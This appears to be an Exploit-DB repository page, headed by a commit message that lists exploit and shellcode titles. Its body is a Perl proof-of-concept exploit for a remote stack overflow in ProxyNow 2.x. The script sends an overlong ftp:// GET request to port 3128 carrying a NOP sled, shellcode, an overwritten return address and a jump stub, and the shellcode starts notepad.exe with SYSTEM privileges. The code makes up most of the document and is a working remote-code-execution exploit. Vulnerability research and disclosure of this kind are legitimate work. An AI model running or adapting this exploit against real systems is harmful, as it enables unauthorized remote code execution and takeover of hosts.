
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
65 lines
No EOL
2.2 KiB
Perl
Executable file
65 lines
No EOL
2.2 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/9500/info
|
|
|
|
ProxyNow has been reported to be prone to multiple overflow vulnerabilities that may allow an attacker to execute arbitrary code in order to gain unauthorized access to a vulnerable system. The vulnerabilities present themselves when an attacker sends a HTTP GET request containing an excessively long URI to the server on TCP port 3128. The URI must be prefixed with the string 'ftp://'.
|
|
|
|
ProxyNow versions 2.75 and prior have been reported to be prone to these issues.
|
|
|
|
#########################################################################
|
|
#!/usr/bin/perl -w
|
|
#
|
|
# Remote Stack Overflow in ProxyNow! 2.x PoC Exploit
|
|
#
|
|
# Tested on Windows XP Home SP1
|
|
#
|
|
# Ever seen notepad.exe with SYSTEM privileges? :-/
|
|
#
|
|
# - by Peter Winter-Smith [peter4020@hotmail.com]
|
|
|
|
use IO::Socket;
|
|
|
|
if(!($ARGV[1]))
|
|
{
|
|
print "Usage: proxynow.pl <victim> <port>\n" .
|
|
"\tDefault port is 3128\n\n";
|
|
exit;
|
|
}
|
|
|
|
print "Remote Stack Overflow in ProxyNow! PoC - Executes notepad.exe\n" .
|
|
"Notepad.exe will only be visible from the Task Manager!\n\n";
|
|
|
|
$victim = IO::Socket::INET->new(Proto=>'tcp',
|
|
PeerAddr=>$ARGV[0],
|
|
PeerPort=>$ARGV[1])
|
|
or die "Unable to connect to $ARGV[0] on" .
|
|
"port $ARGV[1]";
|
|
|
|
$nops = "\x90\x90\x90\x90";
|
|
|
|
$subcode = "\x89\xE0\x05\x03\xFF\xFF\xFF\xFF" .
|
|
"\xE0";
|
|
|
|
$shellcode = "\x31\xC9\x51\x68\x65\x70\x61\x64" .
|
|
"\x68\xFF\x6E\x6F\x74\x8D\x44\x24" .
|
|
"\x01\x50\xB8\x44\x80\xC2\x77\xFF" .
|
|
"\xD0\xCC";
|
|
|
|
$pad = "XXXXXXXX";
|
|
|
|
$ebp = "BBBB";
|
|
$eip = "\x3B\x58\x01\x10";
|
|
|
|
|
|
$bad = "GET ftp://www.nosite.com/" . "\x90"x33 . $shellcode . "a"x190 .
|
|
$ebp . $eip . $nops . $subcode . $pad . "\x20HTTP/1.1\r\n\r\n";
|
|
|
|
print $victim $bad;
|
|
|
|
print "[+] Data sent: Check for notepad.exe running as SYSTEM!\n";
|
|
|
|
sleep(2);
|
|
|
|
close($victim);
|
|
|
|
print "[+] Done!\n";
|
|
exit;
|
|
######################################################################### |